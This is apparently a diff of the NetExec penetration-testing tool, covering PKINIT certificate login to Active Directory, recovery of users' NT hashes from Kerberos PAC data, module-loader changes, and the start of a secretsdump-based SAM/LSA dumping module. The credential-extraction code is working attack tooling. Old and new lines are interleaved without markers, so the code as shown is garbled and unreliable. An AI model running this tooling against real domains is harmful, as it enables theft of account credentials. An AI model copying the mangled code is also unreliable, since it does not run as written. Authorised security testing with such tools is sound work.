with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
try:
|
||||
credentials = pkinit_credentials(self.args)
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except (PKINITError, ValueError) as e:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
if credentials is None:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
|
||||
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
|
||||
except (PKINITError, KerberosError, OSError) as e:
|
||||
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(tgt, reply_key, session_key)
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
ccache.saveFile(ccache_path)
|
||||
self.logger.info(f"Saved TGT to {ccache_path}")
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
|
||||
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
return bool(nthash) and self.hash_login(domain, username, nthash)
|
||||
|
||||
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
|
||||
os.environ["KRB5CCNAME"] = ccache_path
|
||||
self.use_kcache = True
|
||||
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
|
||||
|
||||
if self.protocol == "smb" and self.args.unpac:
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
if nthash:
|
||||
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
|
||||
self.db.add_credential("hash", domain, username, nthash)
|
||||
|
||||
return logged_in
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
|
||||
if args.pfx_cert:
|
||||
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
|
||||
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
|
||||
with os.fdopen(handle, "wb") as pfx_file:
|
||||
pfx_file.write(pfxdata)
|
||||
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
|
||||
|
||||
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
@@ -99,34 +99,3 @@ class NXCRPCConnection:
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
@@ -1,21 +0,0 @@
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
def get_smb_connection(context, connection, timeout=3):
|
||||
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
|
||||
|
||||
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
|
||||
one would count as a bad password attempt on the target, so no session is attempted.
|
||||
"""
|
||||
if not connection.has_reusable_secret:
|
||||
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
|
||||
return None
|
||||
|
||||
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
|
||||
if connection.kerberos:
|
||||
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
|
||||
elif connection.nthash or connection.lmhash:
|
||||
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
|
||||
else:
|
||||
smb.login(connection.username, connection.password, connection.domain)
|
||||
return smb
|
||||
@@ -1,4 +1,3 @@
|
||||
import ast
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
@@ -7,7 +6,6 @@ import sys
|
||||
from os import listdir
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
from types import SimpleNamespace
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
@@ -77,9 +75,12 @@ class ModuleLoader:
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
return self.load_module_file(module_path).NXCModule()
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
@@ -131,28 +132,8 @@ class ModuleLoader:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
|
||||
def get_module_info_static(self, module_path):
|
||||
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
|
||||
try:
|
||||
with open(module_path, "rb") as f:
|
||||
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
|
||||
|
||||
# ast can't see what a base class or a decorator adds, so these modules are imported
|
||||
if not module_class.bases and not module_class.decorator_list:
|
||||
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
|
||||
module = SimpleNamespace(
|
||||
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
|
||||
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
|
||||
category=CATEGORY[values["category"].attr],
|
||||
)
|
||||
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
|
||||
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not read {module_path} statically: {e}")
|
||||
return self.get_module_info(module_path)
|
||||
|
||||
def list_modules(self, names=None):
|
||||
"""List modules without initializing them, only the ones in names if given"""
|
||||
def list_modules(self):
|
||||
"""List modules without initializing them"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
@@ -161,11 +142,10 @@ class ModuleLoader:
|
||||
|
||||
for path in modules_paths:
|
||||
for module in listdir(path):
|
||||
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
|
||||
if module[-3:] == ".py" and module != "example_module.py":
|
||||
try:
|
||||
module_path = path_join(path, module)
|
||||
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
|
||||
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
|
||||
module_data = self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import contextlib
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -24,61 +23,10 @@ class NXCModule:
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.system_hive_saved = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def get_boot_key(self, context, dce):
|
||||
"""
|
||||
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
|
||||
using the already-connected `dce` this module sets up for the SAM/SECURITY
|
||||
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
|
||||
downloaded at all.
|
||||
|
||||
